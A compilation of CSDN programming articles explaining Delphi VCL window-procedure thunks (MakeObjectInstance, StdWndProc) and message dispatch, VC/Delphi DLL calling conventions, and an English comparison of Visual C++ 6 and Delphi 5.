那么，在VCL中，控件向系统注册时究竟传递了一个什么样的窗口指针，同时通过这个指针又是如何调到各个类的事件响应方法呢？我先卖个关子，先看看MFC是怎么做的。

在调查MFC代码之前，我作过两种猜想：

一，作注册用的函数指针指向的是一个类的静态方法，

静态方法同样不需要隐含参数 this （对应 Delphi中的 Self ,不过Object Pascal不支持静态方法）

二，作注册用的函数指针指向的是一个全局函数，这当然最传统，没什么好说的。

经过简单的跟踪，我发现MFC中，全局函数AfxWndProc是整个MFC程序处理消息的“根节点”，也就是说，所有的消息都由它指派给不同控件的消息响应函数，也就是说，所有的窗口控件向系统注册的窗口函数很可能就是 AfxWndProc （抱歉没做深入研究，如果不对请指正）。而AfxWndProc 是如何调用各个窗口类的WndProc呢？

哈哈，MFC用了一种很朴素的机制，相比它那么多稀奇古怪的宏来说，这种机制相当好理解：使用一个全局的Map数据结构来维护所有的窗口对象和Handle(其中Handle为键值），然后AfxWndProc根据Handle来找出唯一对应的窗口对象（使用静态函数CWnd::FromHandlePermanent(HWND hWnd) ），然后调用其WndProc，注意WndProc可是虚拟方法，因此消息能够正确到达所指定窗口类的消息响应函数并被处理。

于是我们有理由猜想VCL也可能采用相同的机制，毕竟这种方式实现起来很简单。我确实是这么猜的，不过结论是我错了......

开场秀结束，好戏正式上演。

在Form1上放一个Button(缺省名为Button1),在其OnClick事件中写些代码，加上断点，F9运行，当停留在断点上时，打开Call Stack窗口（View->Debug Window->Call Stack， 或者按Ctrl-Alt-S )可看到调用顺序如下（从底往上看，stack嘛）

( 如果你看到的 Stack 和这个不一致，请打开DCU 调试开关 Project->Options->Compiler->Use Debug DCUs, 这个开关如果不打开，是没法调试VCL源码的 )

TForm1.Button1Click(???)

TControl.Click

TButton.Click

TButton.CNCommand ((48401, 3880, 0, 3880, 0))

TControl.WndProc ((48401, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TWinControl.WndProc ((48401, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TButtonControl.WndProc ((48401, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TControl.Perform (48401,3880,3880)

DoControlMsg (3880,(no value))

TWinControl.WMComman d((273, 3880, 0, 3880, 0))

TCustomForm.WMCommand ((273, 3880, 0, 3880, 0))

TControl.WndProc ((273, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TWinControl.WndProc((273, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TCustomForm.WndProc ((273, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TWinControl.MainWndProc ((273, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

StdWndProc (3792,273,3880,3880)

可见 StdWndProc 看上去象是扮演了MFC中 AfxWndProc 的角色，不过我们先不谈它，如果你抑制不住好奇心，可以提前去看它的源码，在Forms.pas中，看到了么? 是不是特~~~~别有趣阿。

实际上，VCL在RegisterClass时传递的窗口函数指针并非指向StdWndProc。那是什么呢？

我跟，我跟，我跟跟跟，终于在Controls.pas的TWindowControl的实现代码中

（procedure TWinControl.CreateWnd;) 看到了RegisterClass的调用,hoho，终于找到组织了......别忙，发现了没，这时候注册的窗口函数是InitWndProc，看看它的定义，嗯，符合标准，再去瞧瞧代码都干了些什么。

发现这句：

SetWindowLong(HWindow, GWL_WNDPROC,Longint(CreationControl.FObjectInstance));

我Faint，搞了半天InitWndProc初次被调用（对每一个Wincontrol来说）就把自个儿给换了，新上岗的是FObjectInstance。下面还有一小段汇编，是紧接着调用FObjectInstance的，调用的理由不奇怪，因为以后调用FObjectInstace都由系统CallBack了，但现在还得劳InitWndProc的大驾去call。调用的方式有些讲究，不过留给您看完这篇文章后自个儿琢磨去吧。

接下来只能继续看FObjectInstance是什么东东，它定义在 TWinControl 的 Private 段，是个Pointer也就是个普通指针，当什么使都行，你跟Windows说它就是 WndProc 型指针 Windows 拿你也没辙。

FObjectInstance究竟指向何处呢，镜头移向 TWincontrol 的构造函数，这是FObjectInstance初次被赋值的地方。 多余的代码不用看，焦点放在这句上

FObjectInstance := MakeObjectInstance(MainWndProc);

可以先告诉您，MakeObjectInstance是本主题最精彩之处，但是您现在只需知道FObjectInstance“指向了”MainWndProc，也就是说通过某种途径VCL把每个MainWndProc作为窗口函数注册了，先证明容易的，即 MainWndProc 具备窗口函数的功能，来看代码：

( 省去异常处理 )

procedure TWinControl.MainWndProc(var Message: TMessage);

begin

WindowProc(Message);

FreeDeviceContexts;

FreeMemoryContexts;

end;

FreeDeviceContexts; 和 FreeMemoryContexts 是保证VCL线程安全的，不在本文讨论之列，只看WindowProc(Message); 原来 MainWndProc 把消息委托给了方法 WindowProc处理，注意到 MainWndProc 不是虚拟方法，而 WindowProc 则是虚拟的，了解 Design Pattern 的朋友应该点头了，嗯，是个 Template Method ， 很自然也很经典的用法，这样一来所有的消息都能准确到达目的地，也就是说从功能上看 MainWndProc 确实可以充作窗口函数。您现在可以回顾一下MFC的 AfxWindowProc 的做法，同样是利用对象的多态性，但是两种方式有所区别。

是不是有点乱了呢，让我们总结一下，VCL 注册窗口函数分三步：

1. [ TWinControl.Create ]

FObjectInstance 指向了 MainWndProc

2. [ TWinControl.CreateWnd ]

WindowClass.lpfnWndProc 值为 @InitWndProc;

调用Windows.RegisterClass(WindowClass)向系统注册

3. [ InitWndProc 初次被Callback时 ]

SetWindowLong(HWindow, GWL_WNDPROC, Longint(CreationControl.FObjectInstance))

窗口函数被偷梁换柱，从此 InitWndProc 退隐江湖

（注意是对每个TWinControl控件来说，InitWndProc 只被调用一次）

前面说过，非静态的类方法是不能注册成为窗口函数的，特别是Delphi中根本没有静态类方法，那么MainWndProc 也不能有特权（当然宝兰可以为此在编译器上动点手脚，如果他们不怕成为呕像的话）。

那么，那么，您应该意识到了，在幕后操纵一切的，正是......

背景打出字幕

超级巨星：麦克奥布吉特因斯坦斯

（MakeObjectInstance）

天空出现闪电，哦耶，主角才刚刚亮相。

废话不说，代码伺候：

（ 原始码在 Form.pas 中，“{}”中是原始的注释，而“ file://” 后的是我所加，您可以直接就注释代码，也可以先看我下面的评论，再回头啃code ）

// 共占 13 Bytes

type

PObjectInstance = ^TObjectInstance;

TObjectInstance = packed record

Code: Byte; // 1 Byte

Offset: Integer; // 4 Byte

case Integer of

0: (Next: PObjectInstance); // 4 Byte

1: (Method: TWndMethod); // 8 Byte

// TWndMethod 是一个指向对象方法的指针，

// 事实上是一个指针对，包含方法指针以

// 及一个对象的指针（即Self ）

end;

// 313是满足整个TInstanceBlock的大小不超过4096的最大值

InstanceCount = 313;

// 共占 4079 Bytes

type

PInstanceBlock = ^TInstanceBlock;

TInstanceBlock = packed record

Next: PInstanceBlock; // 4 Bytes

Code: array[1..2] of Byte; // 2 Bytes

WndProcPtr: Pointer; // 4 Bytes

Instances: array[0..InstanceCount] of TObjectInstance; 313 * 13 = 4069

end;

function CalcJmpOffset(Src, Dest: Pointer): Longint;

begin

Result := Longint(Dest) - (Longint(Src) + 5);

end;

function MakeObjectInstance(Method: TWndMethod): Pointer;

const

BlockCode: array[1..2] of Byte = (

$59, { POP ECX }

$E9); { JMP StdWndProc } // 实际上只有一个JMP

PageSize = 4096;

var

Block: PInstanceBlock;

Instance: PObjectInstance;

begin

// InstFreeList = nil 表明一个Instance block已被占满，于是需要为一个新

// Instance block分配空间，一个个Instance block通过PinstanceBlock中的

// Next 指针相连，形成一个链表，其头指针为InstBlockList

if InstFreeList = nil then

begin

// 为Instance block分配虚拟内存，并指定这块内存为可读写并可执行

// PageSize 为4096。

Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Block^.Next := InstBlockList;

Move(BlockCode, Block^.Code, SizeOf(BlockCode));

Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc));

// 以下代码建立一个Instance的链表

Instance := @Block^.Instances;

repeat

Instance^.Code := $E8; { CALL NEAR PTR Offset }

file://算出相对 jmp StdWndProc指令的偏移量，放在$E8的后面

Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code);

Instance^.Next := InstFreeList;

InstFreeList := Instance;

// 必须有这步，让Instance指针移至当前instance子块的底部

Inc(Longint(Instance), SizeOf(TObjectInstance));

// 判断一个Instance block是否已被构造完毕

until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock);

InstBlockList := Block;

end;

Result := InstFreeList;

Instance := InstFreeList;

InstFreeList := Instance^.Next;

Instance^.Method := Method;

end;

不要小看这区区几十行代码的能量，就是它们对 VCL 的可视组件进行了分页式管理，（代码中对两个链表进行操作，InstanceBlock 中有 ObjectInstance 的链表，而一个个InstanceBlock 又构成一个链表 ）一个 InstanceBlock 为一页，有4096 字节，虽然 InstanceBlock 实际使用的只有 4079 字节，不过为了 Alignment ,就加了些 padding 凑满 4096 。从代码可见每一页中可容纳 313 个所谓的ObjectInstance，如果望文生义很容易将这个 ObjectInstance 误解为对象实例，其实不然，每个ObjectInstance 其实是一小段可执行代码，而这些可执行代码不是编译期间生成的，也不是象虚拟函数那样滞后联编，而根本就是MakeObjectInstance 在运行期间“创作”的（天哪）! 也就是说，MakeObjectInstance 将所有的可视VCL组件 改造成了一页页的可执行代码区域，是不是很了不起呢。

不明白ObjectInstance所对应的代码是做什么的么？没关系，一起来看

call - - - - - - - - - - - > pop ECX // 在call 之前，下一个指令地址会被压栈

@MainWndProc // 紧接着执行pop ECX, 为何这么做呢？

@Object(即Self) // 前面注释中提过

答案在 StdWndProc 的代码中，要命哦，全是汇编，可是无限风光在险峰，硬着头皮闯一回吧。

果不其然，我们发现其中用到了ECX

function StdWndProc(Window: HWND; Message, WParam: Longint;

LParam: Longint): Longint; stdcall; assembler;

asm

XOR EAX,EAX

PUSH EAX

PUSH LParam

PUSH WParam

PUSH Message

MOV EDX,ESP

MOV EAX,[ECX].Longint[4] // 相当于 MOV EAX, [ECX+4] ( [ECX+4] 是什么？就是Self )

CALL [ECX].Pointer // 相当于 CALL [ECX] , 也就是调用 MainWndProc

ADD ESP,12

POP EAX

end;

这段汇编中在调用MainWndProc前作了些参数传递的工作，由于MainWndProc 的定义如下

procedure TwinControl..MainWndProc(var Message: TMessage);

根据Delphi 的约定，这种情况下隐函数Self 作为第一个参数，放入EAX 中，TMessage 结构的指针作为第二个参数，放入EDX中，而Message的指针从哪儿来呢？我们看到在连续几个 Push 之后，程序已经在堆栈中构造了一个TMessage 结构，而这时的ESP 当然就是这个结构的指针，于是将它赋给EDX 。如果您不熟悉这方面的约定，可以参考Delphi 的帮助Object Pascal Refrence -> Program Control。

现在真相大白，Windows 消息百转千折终于传进MainWndProc , 不过这一路也可谓相当精彩，MakeObject这一函数自然是居功至伟， StdWndProc 也同样是幕后英雄，让我们把 MakeObjectInstance 作出的代码和StdWndProc 连接起来，哦，堪称鬼斧神工。
( 图片无法显示，请下载全文）

就此在总结一下， FobjectInstance 被VCL 注册为窗口函数，而实际上 FObjectInstance 并不实际指向某个函数，而是指向一个ObjectInstance, 而后者我们已经知道是一系列相接的可执行代码段当中的一块，当系统需要将 FObjectInstance 当做窗口函数作为回调时，实际进入了ObjectInstance 所在的代码段，然后几番跳跃腾挪（一个call 加一个 jump ）来到StdWndProc ，StdWndProc 的主要功用在于将Self 指针压栈，并把Windows的消息包装成Delphi的TMessage 结构，如此才能成功调用到TWinControl类的成员方法 MainWndProc, 消息一旦进入MainWndProc 便可以轻车熟路一路高唱小曲来到各个对象转属的WndProc , 从此功德圆满。

后记：

个人感觉在这一技术上VCL 要比MFC 效率高出不少，后者每次根据窗口句柄来检索相对应的窗口对象指针颇为费时，同时MakeObject 的代码也相当具有参考价值，有没有想过让你自己的程序在内存中再开一堆可执行代码？

所有的代码是基于Delphi5的，可能与其余版本有所出入，但相信不会很大。

整个星期六和星期天我都花在写作此文上了（连调试带写字）， 不过水平所限，难免有所错误与表达不周，但愿不至以己昏昏令人昏昏，欢迎来信探讨指教 cheka@yeah.net , thanx


CSDN_文档中心_VCL中消息处理初探

TObject是基类，所以我们先看一下TObject的DISPATCH方法。Dispatch根据传入的message来寻找相应的消息处理方法，如果找不到的话，就继续向上到父类的消息处理方法表中寻找响应的处理方法，一直到找到为止，如果找到顶还没有，则调用DefaultHandle来处理该消息。message可以是任何的类型，Dispatch假设message的头两位是消息的ID，它就是根据ID来寻找消息处理方法的。虽然任何类型的message都可以被接受，但是TObject的子类还是希望传入的message参数是TMessage的记录类型或其他证明的记录类型。
以下声明和注释摘自与system.pas:
{ TObject.Dispatch accepts any data type as its Message parameter. The
first 2 bytes of the data are taken as the message id to search for
in the object's message methods. TDispatchMessage is an example of
such a structure with a word field for the message id.
}
TDispatchMessage = record
MsgID: Word;
end;
类的继承关系如下：
TObject->TPersistent->TComponent->TControl
TControl是所以可视化组件的父类，TControl提供了一个新的方法，WndProc:
procedure TControl.WndProc(var Message: TMessage);
var
Form: TCustomForm;
KeyState: TKeyboardState;
WheelMsg: TCMMouseWheel;
begin
//如果处在设计期
if (csDesigning in ComponentState) then
begin
Form := GetParentForm(Self);//得到拥有该组件的窗体
if (Form <> nil) and (Form.Designer <> nil) and
Form.Designer.IsDesignMsg(Self, Message) then Exit //消息由窗体来处理
end;

//窗体可以为其拥有的组件来处理键盘消息。
if (Message.Msg >= WM_KEYFIRST) and (Message.Msg <= WM_KEYLAST) then
begin
Form := GetParentForm(Self);
if (Form <> nil) and Form.WantChildKey(Self, Message) then Exit;
end

//关于鼠标的消息
else if (Message.Msg >= WM_MOUSEFIRST) and (Message.Msg <= WM_MOUSELAST) then
begin
//如果组件不可以接受和处理双击消息，就将双击消息映射为单击消息。
if not (csDoubleClicks in ControlStyle) then
case Message.Msg of
WM_LBUTTONDBLCLK, WM_RBUTTONDBLCLK, WM_MBUTTONDBLCLK:
Dec(Message.Msg, WM_LBUTTONDBLCLK - WM_LBUTTONDOWN);
end;

case Message.Msg of
WM_MOUSEMOVE: Application.HintMouseMessage(Self, Message);//如果是鼠标移动的消息，则出现hint窗口
WM_LBUTTONDOWN, WM_LBUTTONDBLCLK://如果是左键被按下，或者双击，如果是自动拖动模式，则开始拖动，并将左键按下的状态加入组件的状态。
begin
if FDragMode = dmAutomatic then
begin
BeginAutoDrag;
Exit;
end;
Include(FControlState, csLButtonDown);
end;
WM_LBUTTONUP:
Exclude(FControlState, csLButtonDown); //如果是左键放开，则将左键按下的状态剔除。
else
with Mouse do
if WheelPresent and (RegWheelMessage <> 0) and //如果鼠标有滚轮，并且滚轮滑动时发出了消息
(Message.Msg = RegWheelMessage) then
begin
GetKeyboardState(KeyState); //将256虚拟键的状态拷贝到缓存中去
with WheelMsg do //填充记录
begin
Msg := Message.Msg;
ShiftState := KeyboardStateToShiftState(KeyState);
WheelDelta := Message.WParam;
Pos := TSmallPoint(Message.LParam);
end;
MouseWheelHandler(TMessage(WheelMsg)); //派发鼠标滚轮的消息
Exit;
end;
end;
end
else if Message.Msg = CM_VISIBLECHANGED then
with Message do
SendDockNotification(Msg, WParam, LParam); //处理自定义消息
Dispatch(Message); //派发未处理的消息
end;
但是只有TWinControl可以获得焦点：
procedure TWinControl.WndProc(var Message: TMessage);
var
Form: TCustomForm;
begin
case Message.Msg of
WM_SETFOCUS: //设置控件的焦点
begin
Form := GetParentForm(Self);
if (Form <> nil) and not Form.SetFocusedControl(Self) then Exit;
end;
WM_KILLFOCUS:
if csFocusing in ControlState then Exit;
//当鼠标有活动的时候发出该消息，如果鼠标没有被捕捉到，则消息发往鼠标下面的那个窗口，否则消息将发往捕捉到鼠标的那个窗口。
WM_NCHITTEST:
begin
inherited WndProc(Message); //调用父类的处理方法
//如果窗体被挡住并且在指定的点没有控件，则返回结果为在client区。
if (Message.Result = HTTRANSPARENT) and (ControlAtPos(ScreenToClient(
SmallPointToPoint(TWMNCHitTest(Message).Pos)), False) <> nil) then
Message.Result := HTCLIENT;
Exit;
end;
WM_MOUSEFIRST..WM_MOUSELAST:
if IsControlMouseMsg(TWMMouse(Message)) then //鼠标消息是否直接发往组件的窗体子组件
begin
{ Check HandleAllocated because IsControlMouseMsg might have freed the
window if user code executed something like Parent := nil. }
if (Message.Result = 0) and HandleAllocated then
DefWindowProc(Handle, Message.Msg, Message.wParam, Message.lParam);//调用默认的的消息处理方法对该消息进行默认处理。
Exit;
end;
WM_KEYFIRST..WM_KEYLAST:
if Dragging then Exit;
WM_CANCELMODE:
if (GetCapture = Handle) and (CaptureControl <> nil) and
(CaptureControl.Parent = Self) then
CaptureControl.Perform(WM_CANCELMODE, 0, 0);
end;
inherited WndProc(Message);
end;

TApplication在程序中发挥着重要的作用：
Application.Run;

procedure TApplication.Run;
begin
FRunning := True;
try
AddExitProc(DoneApplication);
if FMainForm <> nil then
begin
case CmdShow of
SW_SHOWMINNOACTIVE: FMainForm.FWindowState := wsMinimized;
SW_SHOWMAXIMIZED: MainForm.WindowState := wsMaximized;
end;
if FShowMainForm then
if FMainForm.FWindowState = wsMinimized then
Minimize else
FMainForm.Visible := True;

//一个消息循环直到Terminated为True时才退出。
repeat
try
HandleMessage;
except
HandleException(Self);
end;
until Terminated;
end;
finally
FRunning := False;
end;
end;

procedure TApplication.HandleMessage;
var
Msg: TMsg;
begin
if not ProcessMessage(Msg) then Idle(Msg);
end;

function TApplication.ProcessMessage(var Msg: TMsg): Boolean;
var
Handled: Boolean;
begin
Result := False;
if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then //从现成的消息循环中取出消息并放入指定的消息结构中。
begin
Result := True;
if Msg.Message <> WM_QUIT then //如果不是退出消息则进行相应的处理
begin
Handled := False;
if Assigned(FOnMessage) then FOnMessage(Msg, Handled);
if not IsHintMsg(Msg) and not Handled and not IsMDIMsg(Msg) and
not IsKeyMsg(Msg) and not IsDlgMsg(Msg) then
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end
else
FTerminate := True;
end;
end;


CSDN_文档中心_VC与Delphi之间动态链接库互相调用

VC与 Delphi之间动态链接库互相调用

    Delphi 调用VC的DLL

  1. VC中DLL声名格式：

    Extern “C” void __declspec(dllexport) __stdcall ShowMess(HWND hwnd, char* mess);

    输出格式为：_ShowMess@8，“8”为函数参数字节数

    为了避免名称分裂，可采用以下方法解决：

    1.声明中不加__stdcall，采用VC默认格式__cdecl，但在Delphi中要注明调用格式为cdecl。

    2.在VC工程中添加def文件，如：

    LIBRARY

    EXPORTS

    ShowMess @1

    则DLL中输出函数名称不分裂。

  2. Delphi中调用格式：

    Procedure ShowMess (h:HWND; mess:PChar); Stdcall;{Cdecl;} external LibName;

    如无Stdcall或Cdecl声名，Delphi默认Register(FastCall)调用格式。

  3. 注意Delphi与VC的对齐格式不同，在VC中定义结构时要用以下格式：

    #pragma pack(4)

    //结构定义

    #pragma pack()

  4. 常用工具：

TDump.exe－Delphi 4 和 C＋＋ Builder 3 提供

Impdef.exe 和 Implib.exe － C＋＋ Builder 3提供

DumpBin.exe－VC5.0提供

Lib.exe－VC5.0提供

VC调用Delphi的DLL

  1. Delphi中的声名格式：

    Function ShowDialog( hMainWnd:THandle; Msg:PChar ):integer; stdcall;

    输出到Dll文件中时，名称不分裂。

  2. VC中的调用格式：

extern "C" __declspec(dllimport) int __stdcall ShowDialog( HWND hwnd,char* Msg );

．如带有__stdcall，则要求Lib文件中对应函数名称分裂，可有以下步骤生成Lib文件：

．用Impdef.exe生成def文件，格式为：Impdef def文件名 dll文件名

．手工调制def文件参数，如ShowDialog改为ShowDialog@8

．用Lib.exe生成lib文件，格式为：Lib /def:def文件名

．如声名中无__stdcall，默认调用格式仍为stdcall，但不要求名称分裂，用以下批处理文件MkLib.bat可生成Lib文件：

@echo off

if %1.==. goto error

impdef %1.def %1.dll

lib /def:%1.def

goto end

:error

echo Usage: MkLib DllName

echo Note: Don't add extension ".dll" to parameter "DllName"

:end


CSDN_文档中心_Visual C++ Versus Delphi (English)

Visual C++ Versus Delphi Go to Bernhard Angerer's website Format this article printer-friendly! Set a bookmark for this article

A comparison...
Product:
Delphi all versions 		Category:
Others 		Skill Level:
 Scoring:
Last Update:
03/27/2000
Search Keys:
delphi delphi3000 article Delphi VC++ 		Times Scored:
40 		Visits:
7555
Uploader: Bernhard Angerer
Company: bluestep.com IT Consulting 		Reference: John M. Jacobson

Question/Problem/Abstract:
Comparison between Delphi and VC
Answer:

You find this article also on http://home.xnet.com/~johnjac Last Revised: 3/12/00. If you have any comments or suggestions or corrections please send them to me at johnjac@xnet.com. Thank you.

INTRODUCTION

The purpose of this paper is to provide Visual C++ programmers with a comparison between Delphi 5 Professional Version with Visual C++ 6 Professional Version, with an eye toward what a programmer needs and wants from his or her development tools in actual use.

When one looks back at the history of Visual C++ and Delphi, one can get an appreciation for the radical differences between them. Visual C++ traces its roots back into Microsoft C/C++, back when MS was the underdog in the C++ market. Delphi traces its roots back into Borland’s Turbo Pascal, which is itself derived from the first Borland product ever, a Pascal compiler that revolutionized the world by virtue of it’s amazingly low price, and made the name Philippe Kahn a household name among programmers. Like Borland, MS originated out of a language product, Basic, but then, unlike Borland, soon moved on to operating systems, office productivity suites, and a host of other products. Borland achieved a good deal of market share in the desktop database market, and even owned the spreadsheet Quattro Pro back then, but a costly legal battle with Lotus over the spreadsheet interface, and the movement of client server databases into the desktop realm eventually eclipsed both of those mark ets. Both company’s development tools reflect these different histories. In each case, their top-selling language product is based on their very first language product. Visual Basic is descended from Basic, and Delphi is descended from Borland Pascal. Visual C++ competes against Visual Basic for attention and resources within Microsoft, and so has never been made RAD the way Visual Basic and Delphi are RAD. This is probably the biggest difference between Visual C++ and Delphi.

One interesting difference between Visual C++ and Delphi is that since Borland at one time practically owned the desktop database market, Delphi comes completely equipped to create and handle Paradox and DBase tables through direct drivers in the included Borland Database Engine, rather than relying on ODBC. Everything you need to create desktop database applications is included in Delphi 5 Pro. Microsoft owns two desktop databases too, FoxPro and Access. As far as I can tell, Visual C++ 6 Pro has no included support for FoxPro and Access beyond the classes for dealing with DAO and ADO, both of which are the next evolutionary steps after ODBC. DAO used to be the way to get to Access in Microsoft development tools, but it wouldn’t multithread. Now the preferred data model is ADO which can be threaded and has a number of enhancements that make it far better for database access than DAO. Code to use ADO looks pretty much the same in Visual C++ as it does in Visual Basic, as ADO is a h igh-level layer of abstraction that encapsulates the details of connecting, maintaining and caching connections and refreshing data. The biggest drawback of using Visual C++ with ADO, versus Delphi with the BDE, is that Visual C++ requires you to write all the interfacing code yourself, and offers you little in the way of database components that will alleviate the need to do this. Visual C++ allows you to use ActiveX controls that provide some of this functionality, but ActiveX has a number of problems of its own, such as the fact that they are binary controls and so must be included in their entirety even if only a small part of their functionality is required.

Delphi comes with a number of database components that integrate so well with the Borland Database Engine that it is possible in Delphi for even a mere beginner to create a fully functioning database application in minutes, without writing any code. Even a seasoned Visual C++ programmer will be hard-pressed to be able to achieve this kind of speed, as Visual C++ has nothing at all that is comparable to the database components in Delphi.

COMPILER AND LINKER

It should be pointed out that Delphi produces highly optimized machine code that is usually not noticeably different from VC++ code in speed of execution. What is amazing is that Delphi creates this code in a fraction of the time it takes VC++ to produce the equivalent. While the average compile in VC++ is several minutes, the average compile in Delphi is just a few seconds. I have never come across what I consider a totally adequate explanation for this difference in terms of the usefulness of the language features that cause this difference, but the common explanation is that C++ is much more difficult to parse, and can contain very deeply nested include files. Pascal is as fully Object Oriented as C++, in fact more so in my opinion, and offers roughly the same power as C++, and probably greater robustness. On the other hand, Delphi lacks a macro preprocessor, operator overloading and templates, which collectively are traditionally blamed for the slower C++ compiles. In Delphi the lack of templates i s dealt with by enforcing a single-inheritance object hierarchy. All objects in Delphi descend from Tobject, which gives them plenty of interesting properties and run-time information, and this means that you can use RTTI and polymorphism to accomplish in Delphi what templates accomplish in C++. Some people find the C++ template approach is cleaner, more concise, and easier to use, other find the single-inheritance approach better. Of all the features of C++ the macro preprocessor is the most abused, particularly by Microsoft. It is debateable whether all these features are worth the much greater extra compile time in C++.

In response to these slow compile times, C++ vendors have introduced incremental linkers and precompiled headers, which do speed up the average VC++ compile. Even with these enhancements turned on, a second (partial) compile is still longer than the equivalent Delphi full compile. Furthermore, these enhancements are not flawless or in my opinion even trustworthy. It is a common occurance in VC++ for the use of precompiled headers and/or incremental linking to result in several problems 1) a mismatch between breakpoints and their code, 2) incomplete integration of new code 3) incorrect logic and 4) inability to compile because it is misreading the header files (usually this manifests itself as an "Unexpected End of File").

One feature of both compilers and linkers is the ability to recognize and remove dead code. Like VC++, Delphi will only compile/link in the code that is actually called, but unlike VC++, it will give you a visual cue in the editor to show you what lines of code were live and which lines were dead, so that you could tidy up your code by taking out dead functions, etc. Delphi does this by displaying a small blue dot in the left hand gutter for lines that are live, after a compile and link. There is no way to know which code is live or dead in VC++. Having said this, it is important to realize that Delphi has a minimum code size of around 200K, because certain sections of the Visual Component and Run Time Libraries are called in every single application. (You can get smaller apps by not using the VCL and relying on Win API calls instead.) In VC++ these types of libraries are DLL’s that are assumed to be on the client’s machine, so a Visual C++ app using MFC can be incredibly small. (This is one of the advantages of being the one that supplies the operating system. You can "cheat" by making something needed by your development tools be a part of the operating system. When Borland asked MS if MS could include, along with the operating system, DLL's for use by apps made by the Borland tools, MS said no. Only MS tools get this advantage.) This introduces the very slight risk that a future installation over those DLL’s would render the VC++ app suddenly unuseable. This occurred with the second service patch for Visual Studio 6, for example (it was fixed with the next patch). On the other hand, the default database model in Delphi relies on DLL’s that make up the "Borland Database Engine", which together will add 3-5MB to a project. In addition, this also exposes the program to the possibility of the DLL’s being overwritten at some point with something incompatible, though Borland tries to prevent this by requiring only approved installers be used for the BDE.

Delphi does offer the ability to create and use DLL’s, both as the generic Windows variety of DLL callable from any language and as an easier to use Delphi-specific version Borland calls "packages".

An interesting aside is that Delphi can create and use C++ OBJ files created and used by C++ Builder. Though it is a difficult and time-consuming to use classes across that boundary, procedural code is not difficult to use that way. The only real difficulties arise in dealing with references to the C++ run-time libraries, which of course do not exist in Delphi and so would result in unresolved external references.

Finally, the error messages reported by VC++ are much more cryptic than the straight forward messages reported by Delphi's compiler and linker. This is especially true if one is doing template work, such as using the Standard Template Library. Such error messages can literally wrap across the full screen width three or four times.

COMPONENTS

Components are a very big difference between Visual C++ and Delphi. Visual C++ components are ActiveX controls. Delphi can use ActiveX controls, even more easily than Visual Basic, but can also use VCL components which link directly into the executable as mentioned above. Most Delphi users will only use an ActiveX control if there is no Delphi control that will do the job (which is unlikely). Delphi can be used to create Delphi components (which will also work in C++ Builder) as well as ActiveX controls that will work in just about any development environment. Delphi has a special wizard for creating ActiveX control out of VCL components, for code reuse. Visual C++ has libraries and wizards for creating ActiveX controls but it comes with no preinstalled controls.

It is in the area of components that Delphi really is leagues ahead of Visual C++. This superiority is twofold.

-Third-p

arty Delphi components are plentiful and most are free. There are plenty of high-quality components for all but the most esoteric of needed functionality. They are relatively easy to install. -Delphi comes with a large set of pre-installed components that greatly speed up development. There are several categories of these components:

Win API: windows GUI components like the Listview, etc as well as standard windows dialogs. There are many more components than there are generic Windows controls. Data Access: Data retrieval components for handling SQL, database management and batch transfers, as well as components that form the base for the Data Controls. Also includes data modules, which have a design screen allowing diagramming of data relationships.

Data Display: components for displaying database data, such as images, text, etc. in a variety of different appearances such as grids, individual windows components, etc. Interbase Express: statically linked components for access to the Interbase relational database, without the need for any DLL's.

Internet Socket and HTTP Controls: controls for socket communications and dynamically created HTML. Fastnet: Internet controls from Netmasters, that provide out-of-the-box functionality for HTTP, NNTP, SMTP, POP3, etc. In prior versions these had been ActiveX controls but are now statically-linkable VCL components, and are threadable, by the way.

QuickReport: controls for creating printed and previewable reports. COM Servers: controls for controlling Office applications Word, Excel, Project and Outlook as well as Internet Explorer via COM. TeeChart Charting and Graphing: controls for various charts and graphs.

These components are for the most part stable and tested, as well as being fully documented in the help system, except for the COM Servers (as of this writing). In addition to individual components, Delphi also allows the creation and use of component templates which are a bunch of components together with the code that ties them together. You can select several components and turn them into a single component that you can drop on any form like a regular component, with all the intraconnecting code intact. In addition, one can use Frames to create the equivalent of a container form that can be contained in other components and screens. Components can be easily tied to actions by using ActionLists, which handle the enabling and disabling of connected components and their captions and associated event handlers. This greatly speeds up the creation and control of complicated GUIs and enables a level of abstraction between GUI and code. In addition, Delphi comes with a convenient type library editor for the type libraries associated with COM objects.

The Visual Component Library in Delphi 5 is a more recent creation than MFC, and reflects a philosophy that prefers greater abstraction away from the Win32 API. While MFC lacks support for such basic things as setting component colors, these and a myriad of other properties can be set in VCL components with a single assignment. Programmers don’t have to look up the appropriate Win32 API calls needed to set a Window component’s specific property like color, they simply write one little assignment or set one single property in the Delphi property editor. This results in code that is much more readable and maintainable, as well as being easier to write rapidly.

The VCL also contains classes for non-visual aspects of Windows programming, such as wrapper classes for handling INI files, the registry, the clipboard, media files, timers, hotkeys, file wildcard masks, AVI files, services, streaming, drag and drop, COM, printing, string lists, etc. Many of these classes have no counterpart in MFC, or are much more lightly embodied than in Delphi. Take the TstringList class in Delphi as an example. In VC++ one would use a CStringList. CstringList has members for adding, retreiving and removing members of a list, but Delphi’s TstringList adds sorting, easy import and export of comma-delimited data, name=value parsing, and file and stream input and output. The Tclipboard, Tregistry, TregIniFile and Tinifile classes are other examples of VCL classes that have no equivalent in MFC, but encapsulate a lot of grunt-work Win32 API coding that otherwise has to be done by hand. Overall, the general rule seems to be that over 95% of the Win32 API programmin g a person needs to do is done for you in a VCL control or class.

